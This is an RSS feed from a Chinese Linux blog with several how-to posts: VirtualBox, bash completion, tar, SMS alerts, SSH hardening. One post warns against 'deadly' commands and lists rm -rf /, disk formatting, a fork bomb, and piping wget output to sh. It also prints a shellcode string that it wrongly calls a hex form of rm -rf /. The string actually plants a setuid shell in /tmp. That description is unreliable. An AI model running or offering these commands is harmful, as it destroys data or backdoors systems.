<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>A18制造 &#187; Linux</title>
	<atom:link href="http://a18zhizao.com/ycategory/works/linux/feed" rel="self" type="application/rss+xml" />
	<link>http://a18zhizao.com</link>
	<description>梦想的种子飞入了大地，所需要的只有时间。</description>
	<lastBuildDate>Tue, 24 Jan 2012 11:50:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Snow Leopard Virtuabox Install WindowsXp Error with Vt－x</title>
		<link>http://a18zhizao.com/y2010/1413_snow-leopard-virtuabox-install-windowsxp-error-with-vt-x.html</link>
		<comments>http://a18zhizao.com/y2010/1413_snow-leopard-virtuabox-install-windowsxp-error-with-vt-x.html#comments</comments>
		<pubDate>Tue, 11 May 2010 08:11:46 +0000</pubDate>
		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[virtuabox]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1413</guid>
		<description><![CDATA[Today I installed Windows Xp in Virtuabox however happen an error. VT-x is not available Unknown error creating VM So How to solve this problem？Do it： In VirtualBox 3.0.2, this option no longer appears in the Advanced pane. Nevertheless I managed to find a workaround to deselect the option despite it no longer appearing in [...]]]></description>
			<content:encoded><![CDATA[<p>Today I installed Windows Xp in Virtuabox however happen an error.</p>
<blockquote><p>VT-x is not available<br />
Unknown error creating VM</p></blockquote>
<p>So How to solve this problem？Do it：</p>
<p>In VirtualBox 3.0.2, this option no longer appears in the Advanced pane. Nevertheless I managed to find a workaround to deselect the option despite it no longer appearing in the UI:</p>
<p>Under the ~/Library/VirtualBox/Machines directory you will find a folder for each virtual machine you have created. Within this directly you will find an XML file with the machine settings.</p>
<p>It looks like:</p>
<pre class="brush: xml; title: ; notranslate">
 13     &lt;/ExtraData&gt;
 14     &lt;Hardware version=&quot;2&quot;&gt;
 15       &lt;CPU count=&quot;1&quot;&gt;
 16         &lt;HardwareVirtEx enabled=&quot;true&quot; exclusive=&quot;false&quot;/&gt;
 17         &lt;HardwareVirtExNestedPaging enabled=&quot;true&quot;/&gt;
 18         &lt;HardwareVirtExVPID enabled=&quot;true&quot;/&gt;
 19         &lt;PAE enabled=&quot;true&quot;/&gt;
 20       &lt;/CPU&gt;
</pre>
<p>Just change the 'enabled="true"' part to 'enabled="false"'.</p>
<p>Enjoy.</p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1413_snow-leopard-virtuabox-install-windowsxp-error-with-vt-x.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>bash_completion install in Mac OS X Snow Leopard</title>
		<link>http://a18zhizao.com/y2010/1410_bash_completion-install-in-mac-os-x-snow-leopard.html</link>
		<comments>http://a18zhizao.com/y2010/1410_bash_completion-install-in-mac-os-x-snow-leopard.html#comments</comments>
		<pubDate>Wed, 05 May 2010 04:24:55 +0000</pubDate>
		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[completion]]></category>
		<category><![CDATA[雪豹]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1410</guid>
		<description><![CDATA[Recently，I Try to use the Snow Leopard ,But it lacks a feature. Debian-like bash_completion! I missed you! So I Seached with Google! To install it just do: Tip: You must have MacPorts installed to run the first command. MacPorts Form http://www.macports.org . If you don’t know yet what is bash_completion, it is  a feature for [...]]]></description>
			<content:encoded><![CDATA[<p>Recently，I Try to use the Snow Leopard ,But it lacks a feature.</p>
<p>Debian-like bash_completion! I missed you! So I Seached with Google!</p>
<p>To install it just do:</p>
<pre class="brush: bash; title: ; notranslate">
sudo port install bash-completion
echo &quot;source /opt/local/etc/bash_completion&quot; &gt;&gt; ~/.bash_profile
chmod +x ~/.bash_profile
</pre>
<p>Tip: You must have MacPorts installed to run the first command. MacPorts Form <a href="http://www.macports.org/" target="_blank">http://www.macports.org</a> .</p>
<p>If you don’t know yet what is bash_completion, it is  a feature for  shells to autocomplete commands. Example: You are on a git repository.  You type git fe and press TAB, bash_completion will fill “fetch” for  you. If you have branches, they are autocompleted too. GNU Tar only  shows files compatible with the filters you selected. So if you tar xvzf  my-softw TAB, it will complete only filenames that are on tar.gz or tgz  format and that starts with the string you already typed.</p>
<p>It is heaven again.</p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1410_bash_completion-install-in-mac-os-x-snow-leopard.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>tar打包排除某个或多个子目录 &#124; AWK命令</title>
		<link>http://a18zhizao.com/y2010/1406_tar-package-exclude-one-or-more-subdirectories-awk-command.html</link>
		<comments>http://a18zhizao.com/y2010/1406_tar-package-exclude-one-or-more-subdirectories-awk-command.html#comments</comments>
		<pubDate>Sun, 25 Apr 2010 15:01:47 +0000</pubDate>
		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[awk]]></category>
		<category><![CDATA[tar]]></category>
		<category><![CDATA[子目录]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1406</guid>
		<description><![CDATA[下午遇到一个小问题：文件目录结构如下 /dir0- -/dir1         &#60;---该文件很大，欲排除 -/dir2         &#60;---该文件很大，欲排除 -/dir3         &#60;---目标目录之一 -index.php  &#60;---目标文件之一 .............以下省略N个子目录和子文件............. 目录下很多子目录，而我需要打包。目标是   /wwwroot 下所有子文件+/dir3 ，于是那些多余的子目录就让我头疼， 怎样在不影响文件结构的情况下打包呢，搜索网上，很多人用下面这个方法： 但是并不好，要是排除的部分是多出，要是子目录过多，语句该要写多久啊，后来又发现网上说可以直接使用排除参数X 新建文件excludefiles在当前目录中，内容为 注意： tar命令里面的目标文件是绝对路径格式，excludefile里面就也必须是绝对路径； tar命令里面的目标文件是相对路径格式，excludefile里面就也必须是相对路径； 后来 搜索找到了自力博客的一样问题的文章 说可以用 AWK 于是去搜索了一下它：Awk学习笔记 发现它提供的语句可以精简，可以这样写： 这个语句很好理解： ls -l 列出所有文件和目录； awk '\^-\ {print $8}' 正则只保留文件行，获得第八列的所有文件名； xargs tar 把上一步得到的名称传参给tar命令。 一切OK，轻松完成打包喽！]]></description>
			<content:encoded><![CDATA[<p><strong>下午遇到一个小问题：</strong>文件目录结构如下</p>
<blockquote><p>/dir0-<br />
-/dir1         &lt;---该文件很大，欲排除<br />
-/dir2         &lt;---该文件很大，欲排除<br />
-/dir3         &lt;---目标目录之一<br />
-index.php  &lt;---目标文件之一<br />
.............以下省略N个子目录和子文件.............</p></blockquote>
<p>目录下很多子目录，而我需要打包。目标是   /wwwroot 下所有<strong>子文件</strong>+/dir3  ，于是那些多余的子目录就让我头疼，<br />
怎样在不影响文件结构的情况下打包呢，搜索网上，很多人用下面这个方法：<br />
<span id="more-1406"></span></p>
<pre class="brush: bash; title: ; notranslate">
tar cvzf \home\all.tar.gz dir0  --exclude dir1 --exclude dir2
</pre>
<p>但是并不好，要是排除的部分是多出，要是子目录过多，语句该要写多久啊，后来又发现网上说可以直接使用排除参数X</p>
<p>新建文件excludefiles在当前目录中，内容为</p>
<pre class="brush: bash; title: ; notranslate">
cat excludefiles
dir1
dir2
tar -cvzf \home\all.tar.gz -X excludefile dir1
</pre>
<blockquote><p><strong>注意：</strong><br />
tar命令里面的目标文件是绝对路径格式，excludefile里面就也必须是绝对路径；<br />
tar命令里面的目标文件是相对路径格式，excludefile里面就也必须是相对路径；</p></blockquote>
<p>后来 搜索找到了<a href="http://www.hzlzh.com/ssh-tar-awk/" target="_blank">自力博客的一样问题的文章</a> 说可以用 <strong>AWK</strong> 于是去搜索了一下它：<a href="http://www.linux.gov.cn/shell/awk.htm" target="_blank">Awk学习笔记</a> 发现它提供的语句可以精简，可以这样写：</p>
<pre class="brush: bash; title: ; notranslate">
ls -l | awk '\^-\ {print  $8}' | xargs tar cvfz \home\dir0.tar.gz
</pre>
<p>这个语句很好理解：</p>
<p><strong>ls -l </strong>列出所有文件和目录<strong>；</strong><br />
<strong>awk '\^-\ {print $8}'</strong> 正则只保留文件行，获得第八列的所有文件名；<br />
<strong>xargs tar</strong> 把上一步得到的名称传参给tar命令。<br />
一切OK，轻松完成打包喽！</p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1406_tar-package-exclude-one-or-more-subdirectories-awk-command.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>aMule下载短信通知的飞信实现</title>
		<link>http://a18zhizao.com/y2010/1330_amule-download-the-sms-flight-notification-letter-to-achieve-the.html</link>
		<comments>http://a18zhizao.com/y2010/1330_amule-download-the-sms-flight-notification-letter-to-achieve-the.html#comments</comments>
		<pubDate>Mon, 22 Mar 2010 02:43:33 +0000</pubDate>
		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[短信]]></category>
		<category><![CDATA[通知]]></category>
		<category><![CDATA[飞信]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1330</guid>
		<description><![CDATA[文章转载自： aMule下载短信通知的飞信实现 因为它不让IE访问。。。。 上回用GCalcli实现了给aMule增加下载完成短信通知功能，不过由于GCal的短信格式问题并不完美，在Druggo的提示下转而使用飞信来实现这个吧。 飞信虽然在linux下已经有libfetion和linux-fetion for purple了，不过都没有直观的纯CLI操作方式。找来找去只找到个闭源的飞信机器人，这软件优点是:纯命令操作，简单快捷。 不爽的地方是: 闭源，依赖的库文件有版本要求。而且从主页来看，商业味比较浓，怕有猫腻 初次运行后会生成数个当前用户无访问权限的文件夹，强行删除再运行又会重新生成 唉，我又开始二了，用人家的东西还这么多牢骚。下面是实现方法： 在此处下载飞信机器人的linux版，运行程序依赖的库文件有4个:libcrypto.so.0.9.8, libssl.so.0.9.8, libACE.so.5.6.8, libACE_SSL.so.5.6.8。前两个属于 openssh，后两个可以# emerge dev-libs/ace得到，鉴于版本问题和libACE 8MB的体积问题，还是直接下载它提供的库文件包吧。 建议解压后放到自己的$HOME目录下，例如我把它解压到$HOME/fetion-cli下，把解压的4个库文件也放到此目录下。 飞信机器人支持config文件读取帐户信息，创建一个$HOME/.fetion-cli.conf，按以下格式输入你的帐户信息: # ID Mobile Password 1 你的手机号码 你的飞信密码 然后是建立一个bash脚本fetion-sms.sh #!/bin/bash #usage: fetion-sms.sh MobileNum. ENTRY cd /home/punkid/fetion-cli LD_LIBRARY_PATH=. ./fetion --config=$HOME/.fetion-cli.conf --index=1 --to=$1 --msg-utf8="$2" 这个脚本用法很简单，输入$ sh fetion-sms.sh 接收方的手机好码 飞信消息内容就完成了。 所以在aMule的Download completed event里配置如下就行了: sh /home/punkid/scripts/fetion-sms.sh 你的手机号码 "%NAME 下载完成" 这回算是比较满意了，飞信接收速度快而且不像GCal那样分两条不完整短信发过来。 [...]]]></description>
			<content:encoded><![CDATA[<p>文章转载自： <a href="http://blog.punkid.org/2009/03/27/free-sms-notification-via-fetion-on-amule-completed-download/">aMule下载短信通知的飞信实现</a> 因为它不让IE访问。。。。</p>
<p>上回用GCalcli实现了<a title="给aMule增加下载完成短信通知功能" href="http://blog.punkid.org/2009/03/23/free-sms-notification-on-amule-completed-download">给aMule增加下载完成短信通知功能</a>，不过由于GCal的短信格式问题并不完美，在<a title="Comment by Druggo" href="http://blog.punkid.org/2009/03/23/free-sms-notification-on-amule-completed-download/comment-page-1/#comment-1470">Druggo的提示</a>下转而使用飞信来实现这个吧。<br />
<span id="more-1330"></span><br />
飞信虽然在linux下已经有libfetion和linux-fetion for purple了，不过都没有直观的纯CLI操作方式。找来找去只找到个闭源的<a title="飞信机器人" href="http://www.it-adv.net/">飞信机器人</a>，这软件优点是:纯命令操作，简单快捷。</p>
<p>不爽的地方是:</p>
<ol>
<li>闭源，依赖的库文件有版本要求。而且从主页来看，商业味比较浓，怕有猫腻</li>
<li>初次运行后会生成数个当前用户无访问权限的文件夹，强行删除再运行又会重新生成</li>
</ol>
<p>唉，我又开始二了，用人家的东西还这么多牢骚。下面是实现方法：</p>
<p>在<a title="下载飞信机器人" href="http://bbs.it-adv.net/viewthread.php?tid=155">此处下载飞信机器人的linux版</a>，运行程序依赖的库文件有4个:<code>libcrypto.so.0.9.8</code>, <code>libssl.so.0.9.8</code>, <code>libACE.so.5.6.8</code>, <code>libACE_SSL.so.5.6.8</code>。前两个属于 openssh，后两个可以<code># emerge dev-libs/ace</code>得到，鉴于版本问题和libACE 8MB的体积问题，还是直接下载它提供的<a title="飞信机器人 Linux库文件包" href="http://www.it-adv.net/fetion/downng/library_linux.tar.gz">库文件包</a>吧。</p>
<p>建议解压后放到自己的<code>$HOME</code>目录下，例如我把它解压到<code>$HOME/fetion-cli</code>下，把解压的4个库文件也放到此目录下。</p>
<p>飞信机器人支持config文件读取帐户信息，创建一个<code>$HOME/.fetion-cli.conf</code>，按以下格式输入你的帐户信息:</p>
<pre># ID    Mobile          Password
1        你的手机号码   你的飞信密码</pre>
<p>然后是建立一个bash脚本<code>fetion-sms.sh</code></p>
<pre>#!/bin/bash
#usage: fetion-sms.sh MobileNum. ENTRY

cd /home/punkid/fetion-cli
LD_LIBRARY_PATH=. ./fetion --config=$HOME/.fetion-cli.conf --index=1 --to=$1 --msg-utf8="$2"</pre>
<p>这个脚本用法很简单，输入<code>$ sh fetion-sms.sh 接收方的手机好码 飞信消息内容</code>就完成了。</p>
<p>所以在aMule的Download completed event里配置如下就行了:</p>
<pre>sh /home/punkid/scripts/fetion-sms.sh 你的手机号码 "%NAME 下载完成"</pre>
<p>这回算是比较满意了，飞信接收速度快而且不像GCal那样分两条不完整短信发过来。</p>
<p>上回用GCalcli实现了<a title="给aMule增加下载完成短信通知功能" href="http://blog.punkid.org/2009/03/23/free-sms-notification-on-amule-completed-download">给aMule增加下载完成短信通知功能</a>，不过由于GCal的短信格式问题并不完美，在<a title="Comment by Druggo" href="http://blog.punkid.org/2009/03/23/free-sms-notification-on-amule-completed-download/comment-page-1/#comment-1470">Druggo的提示</a>下转而使用飞信来实现这个吧。</p>
<p>飞信虽然在linux下已经有libfetion和linux-fetion for purple了，不过都没有直观的纯CLI操作方式。找来找去只找到个闭源的<a title="飞信机器人" href="http://www.it-adv.net/">飞信机器人</a>，这软件优点是:纯命令操作，简单快捷。</p>
<p>不爽的地方是:</p>
<ol>
<li>闭源，依赖的库文件有版本要求。而且从主页来看，商业味比较浓，怕有猫腻</li>
<li>初次运行后会生成数个当前用户无访问权限的文件夹，强行删除再运行又会重新生成</li>
</ol>
<p>唉，我又开始二了，用人家的东西还这么多牢骚。下面是实现方法：<br />
<span id="more-303"> </span><br />
在<a title="下载飞信机器人" href="http://bbs.it-adv.net/viewthread.php?tid=155">此处下载飞信机器人的linux版</a>，运行程序依赖的库文件有4个:<code>libcrypto.so.0.9.8</code>, <code>libssl.so.0.9.8</code>, <code>libACE.so.5.6.8</code>, <code>libACE_SSL.so.5.6.8</code>。前两个属于 openssh，后两个可以<code># emerge dev-libs/ace</code>得到，鉴于版本问题和libACE 8MB的体积问题，还是直接下载它提供的<a title="飞信机器人 Linux库文件包" href="http://www.it-adv.net/fetion/downng/library_linux.tar.gz">库文件包</a>吧。</p>
<p>建议解压后放到自己的<code>$HOME</code>目录下，例如我把它解压到<code>$HOME/fetion-cli</code>下，把解压的4个库文件也放到此目录下。</p>
<p>飞信机器人支持config文件读取帐户信息，创建一个<code>$HOME/.fetion-cli.conf</code>，按以下格式输入你的帐户信息:</p>
<pre># ID    Mobile          Password
1        你的手机号码   你的飞信密码</pre>
<p>然后是建立一个bash脚本<code>fetion-sms.sh</code></p>
<pre class="bash"><span style="font-style: italic; color: #666666;">#!/bin/bash</span>
<span style="font-style: italic; color: #666666;">#usage: fetion-sms.sh MobileNum. ENTRY</span>

<span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>punkid<span style="color: #000000; font-weight: bold;">/</span>fetion-cli
<span style="color: #007800;">LD_LIBRARY_PATH</span>=. .<span style="color: #000000; font-weight: bold;">/</span>fetion <span style="color: #660033;">--config</span>=<span style="color: #007800;">$HOME</span><span style="color: #000000; font-weight: bold;">/</span>.fetion-cli.conf <span style="color: #660033;">--index</span>=<span style="color: #000000;">1</span> <span style="color: #660033;">--to</span>=$<span style="color: #000000;">1</span> <span style="color: #660033;">--msg-utf8</span>=<span style="color: #ff0000;">"$2"</span></pre>
<p>这个脚本用法很简单，输入<code>$ sh fetion-sms.sh 接收方的手机好码 飞信消息内容</code>就完成了。</p>
<p>所以在aMule的Download completed event里配置如下就行了:</p>
<pre class="bash"><span style="color: #c20cb9; font-weight: bold;">sh</span> <span style="color: #000000; font-weight: bold;">/</span>home<span style="color: #000000; font-weight: bold;">/</span>punkid<span style="color: #000000; font-weight: bold;">/</span>scripts<span style="color: #000000; font-weight: bold;">/</span>fetion-sms.sh 你的手机号码 <span style="color: #ff0000;">"%NAME 下载完成"</span></pre>
<p>这回算是比较满意了，飞信接收速度快而且不像GCal那样分两条不完整短信发过来。</p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1330_amule-download-the-sms-flight-notification-letter-to-achieve-the.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux 10 个最酷的单行命令 与 7 个致命的命令</title>
		<link>http://a18zhizao.com/y2010/1329_linux-10-ge-the-coolest-one-line-command-and-seven-deadly-command.html</link>
		<comments>http://a18zhizao.com/y2010/1329_linux-10-ge-the-coolest-one-line-command-and-seven-deadly-command.html#comments</comments>
		<pubDate>Fri, 19 Mar 2010 15:28:06 +0000</pubDate>
		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[命令]]></category>
		<category><![CDATA[致命]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1329</guid>
		<description><![CDATA[下面是来自 Commandlinefu 网站由用户投票决出的 10 个最酷的 Linux 单行命令，希望对你有用。 sudo !!以 root 帐户执行上一条命令。 python -m SimpleHTTPServer利用 Python 搭建一个简单的 Web 服务器，可通过 http://$HOSTNAME:8000 访问。 :w !sudo tee %在 Vim 中无需权限保存编辑的文件。 cd -更改到上一次访问的目录。 ^foo^bar将上一条命令中的 foo 替换为 bar，并执行。 cp filename{,.bak}快速备份或复制文件。 mtr google.comtraceroute + ping。 !whatever:p搜索命令历史，但不执行。 $ssh-copy-id user@host将 ssh keys 复制到 user@host 以启用无密码 SSH 登录。 ffmpeg -f x11grab -s wxga -r 25 [...]]]></description>
			<content:encoded><![CDATA[<p>下面是来自 <a href="http://commandlinefu.com/">Commandlinefu</a> 网站由用户投票决出的 10 个最酷的 Linux 单行命令，希望对你有用。</p>
<ol>
<li><code>sudo !!</code>以 root 帐户执行上一条命令。</li>
<li><code>python -m SimpleHTTPServer</code>利用 Python 搭建一个简单的 Web 服务器，可通过 http://$HOSTNAME:8000 访问。</li>
<li><code>:w !sudo tee %</code>在 Vim 中无需权限保存编辑的文件。</li>
<li><code>cd -</code>更改到上一次访问的目录。</li>
<li><code>^foo^bar</code>将上一条命令中的 foo 替换为 bar，并执行。</li>
<li><code>cp filename{,.bak}</code>快速备份或复制文件。</li>
<li><code>mtr google.com</code>traceroute + ping。</li>
<li><code>!whatever:p</code>搜索命令历史，但不执行。</li>
<li><code>$ssh-copy-id user@host</code>将 ssh keys 复制到 user@host 以启用无密码 SSH 登录。</li>
<li><code>ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg</code>把 Linux 桌面录制为视频。</li>
</ol>
<p>[via <a href="http://www.commandlinefu.com/commands/browse/sort-by-votes">All commands sorted by votes</a>]<br />
<span id="more-1329"></span><br />
7 个致命的 Linux 命令</p>
<p>如果你是一个 Linux 新手，在好奇心的驱使下，可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令，轻则使你的数据造成丢失，重则使你的系统造成瘫痪，所以，你应当竭力避免在系统中运行它们。</p>
<ol>
<li><code>rm -rf /</code> 此命令将递归并强制删除 / 目录下的所有文件。</li>
<li>
<pre><code>char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
</code></pre>
<p>这是 rm -rf / 的 hex（十六进制）版本，很能迷惑 Linux 用户。</li>
<li><code>mkfs.ext3 /dev/sda</code> 这将对硬盘进行重新格式化，自然，硬盘上的所有数据将灰飞烟灭。</li>
<li><code>:(){ :|:&amp; };:</code> 著名的 fork 炸弹，此命令将告诉你的系统执行海量的进程，直到你的系统僵死。</li>
<li><code>any_command &gt; /dev/sda</code> 使用该命令，原始数据将被写到块设备，其结果是造成数据丢失。</li>
<li><code>wget http://some_untrusted_source -O- | sh</code> 不要从不信任的地方下载东西，这可能会获取恶意代码。</li>
<li><code>mv /home/yourhomedirectory/* /dev/null</code> 此命令将移动主目录中的所有文件到一个不存在的地方，你将再也看不到那些文件。</li>
</ol>
<p>如果你认为还有其他致命的 Linux 命令，那么请在留言中告诉我们。</p>
<p>[via <a href="http://www.junauza.com/2008/11/7-deadly-linux-commands.html">TECH SOURCE FROM BOHOL</a>]</p>
<p>以上翻译均来自：<a href="http://linuxtoy.org/archives/top-10-one-liners.html">LinuxTOY</a></p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1329_linux-10-ge-the-coolest-one-line-command-and-seven-deadly-command.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>提高ssh安全性方法</title>
		<link>http://a18zhizao.com/y2010/1328_ssh-security-methods-to-improve.html</link>
		<comments>http://a18zhizao.com/y2010/1328_ssh-security-methods-to-improve.html#comments</comments>
		<pubDate>Fri, 19 Mar 2010 15:02:55 +0000</pubDate>
		<dc:creator>a18ccms</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[ssh]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://a18zhizao.com/?p=1328</guid>
		<description><![CDATA[下面转载 自瑞 星官方的文献. 1. 修改sshd服务器的配置文件/etc/ssh/sshd_config，将部分参数参照如下修改，增强安全性。 Port 5555 系统缺省使用22号端口，将监听端口更改为其他数值（最好是1024以上的高端口，以免和其他常规服务端口冲突），这样可以增加入侵者探测系统是否运行了 sshd守护进程的难度。 ListenAddress 192.168.0.1 对于在服务器上安装了多个网卡或配置多个IP地址的情况，设定sshd只在其中一个指定的接口地址监听，这样可以减少sshd的入口，降低入侵的可能性。 PermitRootLogin no 如果允许用户使用root用户登录，那么黑客们可以针对root用户尝试暴力破解密码，给系统安全带来风险。 PermitEmptyPasswords no 允许使用空密码系统就像不设防的堡垒，任何安全措施都是一句空话。 AllowUsers sshuser1 sshuser2 只允许指定的某些用户通过ssh访问服务器，将ssh使用权限限定在最小的范围内。 AllowGroups sshgroup 同上面的AllowUsers类似，限定指定的用户组通过ssh访问服务器，二者对于限定访问服务器有相同的效果。 Protocol 2 禁止使用版本1协议，因为其存在设计缺陷，很容易使密码被黑掉。 禁止所有不需要的（或不安全的）授权认证方式。 X11Forwarding no 关闭X11Forwarding，防止会话被劫持。 MaxStartups 5 sshd服务运行时每一个连接都要使用一大块可观的内存，这也是ssh存在拒绝服务攻击的原因。一台服务器除非存在许多管理员同时管理服务器，否则上面这 个连接数设置是够用了。 注意：以上参数设置仅仅是一个示例，用户具体使用时应根据各自的环境做相应的更改。 2. 修改sshd服务器的配置文件/etc/ssh/sshd_config的读写权限，对所有非root用户设置只读权限，防止非授权用户修改sshd 服务的安全设置。 chmod 644 /etc/ssh/sshd_config 3. 设置TCP Wrappers。服务器默认接受所有的请求连接，这是非常危险的。使用TCP Wrappers可以阻止或允许应用服务仅对某些主机开放，给系统在增加一道安全屏障。这部分设置共涉计到两个文件：hosts.allow和 hosts.deny。 将那些明确允许的请求添加到/etc/hosts.allow中。如系统仅允许IP地址为192.168.0.15和10.0.0.11的主机使用 sshd服务，则添加如下内容： sshd:192.168.0.15 10.0.0.11 将需要禁止使用的信息添加到/etc/hosts.deny中。如对除了在hosts.allow列表中明确允许使用sshd的用户外，所有其他用户都禁 止使用sshd服务，则添加如下内容到hosts.deny文件中： sshd:All [...]]]></description>
			<content:encoded><![CDATA[<p>下面转载 自<a href="http://it.rising.com.cn/new2008/Safety/NewsInfo/2009-03-23/1237776445d52005.shtml" target="_blank">瑞 星官方的文献</a>.</p>
<p><strong>1. 修改sshd服务器的配置文件/etc/ssh/sshd_config，将部分参数参照如下修改，增强安全性。</strong></p>
<blockquote><p>Port 5555</p></blockquote>
<p>系统缺省使用22号端口，将监听端口更改为其他数值（最好是1024以上的高端口，以免和其他常规服务端口冲突），这样可以增加入侵者探测系统是否运行了 sshd守护进程的难度。</p>
<blockquote><p>ListenAddress 192.168.0.1</p></blockquote>
<p>对于在服务器上安装了多个网卡或配置多个IP地址的情况，设定sshd只在其中一个指定的接口地址监听，这样可以减少sshd的入口，降低入侵的可能性。</p>
<blockquote><p>PermitRootLogin no</p></blockquote>
<p>如果允许用户使用root用户登录，那么黑客们可以针对root用户尝试暴力破解密码，给系统安全带来风险。</p>
<blockquote><p>PermitEmptyPasswords no</p></blockquote>
<p>允许使用空密码系统就像不设防的堡垒，任何安全措施都是一句空话。</p>
<blockquote><p>AllowUsers sshuser1 sshuser2</p></blockquote>
<p>只允许指定的某些用户通过ssh访问服务器，将ssh使用权限限定在最小的范围内。</p>
<blockquote><p>AllowGroups sshgroup</p></blockquote>
<p>同上面的AllowUsers类似，限定指定的用户组通过ssh访问服务器，二者对于限定访问服务器有相同的效果。</p>
<blockquote><p>Protocol 2</p></blockquote>
<p>禁止使用版本1协议，因为其存在设计缺陷，很容易使密码被黑掉。<br />
<span id="more-1328"></span><br />
禁止所有不需要的（或不安全的）授权认证方式。</p>
<blockquote><p>X11Forwarding no</p></blockquote>
<p>关闭X11Forwarding，防止会话被劫持。</p>
<blockquote><p>MaxStartups 5</p></blockquote>
<p>sshd服务运行时每一个连接都要使用一大块可观的内存，这也是ssh存在拒绝服务攻击的原因。一台服务器除非存在许多管理员同时管理服务器，否则上面这 个连接数设置是够用了。</p>
<p>注意：以上参数设置仅仅是一个示例，用户具体使用时应根据各自的环境做相应的更改。</p>
<p><strong>2. 修改sshd服务器的配置文件/etc/ssh/sshd_config的读写权限</strong>，对所有非root用户设置只读权限，防止非授权用户修改sshd 服务的安全设置。</p>
<blockquote><p>chmod 644 /etc/ssh/sshd_config</p></blockquote>
<p><strong>3. 设置TCP Wrappers</strong>。服务器默认接受所有的请求连接，这是非常危险的。使用TCP Wrappers可以阻止或允许应用服务仅对某些主机开放，给系统在增加一道安全屏障。这部分设置共涉计到两个文件：hosts.allow和 hosts.deny。</p>
<p>将那些明确允许的请求添加到/etc/hosts.allow中。如系统仅允许IP地址为192.168.0.15和10.0.0.11的主机使用 sshd服务，则添加如下内容：</p>
<blockquote><p>sshd:192.168.0.15 10.0.0.11</p></blockquote>
<p>将需要禁止使用的信息添加到/etc/hosts.deny中。如对除了在hosts.allow列表中明确允许使用sshd的用户外，所有其他用户都禁 止使用sshd服务，则添加如下内容到hosts.deny文件中：</p>
<blockquote><p>sshd:All</p></blockquote>
<p>注意：系统对上述两个文件的判断顺序是先检查hosts.allow文件再查看hosts.deny文件，因此一个用户在hosts.allow允许使用 网络资源，而同时在hosts.deny中禁止使用该网络资源，在这种情况下系统优先选择使用hosts.allow配置，允许用户使用该网络资源。</p>
<p><strong>4. 尽量关闭一些系统不需要的启动服务</strong>。系统默认情况下启动了许多与网络相关的服务，因此相对应的开放了许多端口进行LISTENING（监听）。我们知 道，开放的端口越多，系统从外部被入侵的可能也就越大，所以我们要尽量关闭一些不需要的启动服务，从而尽可能的关闭端口，提供系统的安全性。</p>
<p>通过以上步骤基本上将sshd服务设置上可能出现的漏洞堵上了，不需要投资，只要我们稍微花点时间调整一下配置，就可极大提高系统的安全环境，何乐而不为 呢？</p>
]]></content:encoded>
			<wfw:commentRss>http://a18zhizao.com/y2010/1328_ssh-security-methods-to-improve.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OpenVPN添加本地路由方法</title>
		<link>http://a18zhizao.com/y2010/1327_openvpn-add-local-routing.html</link>
		<comments>http://a18zhizao.com/y2010/1327_openvpn-add-local-routing.html#comments</comments>
		<pubDate>Wed, 17 Mar 2010 10:37:16 +0000</pubDate>
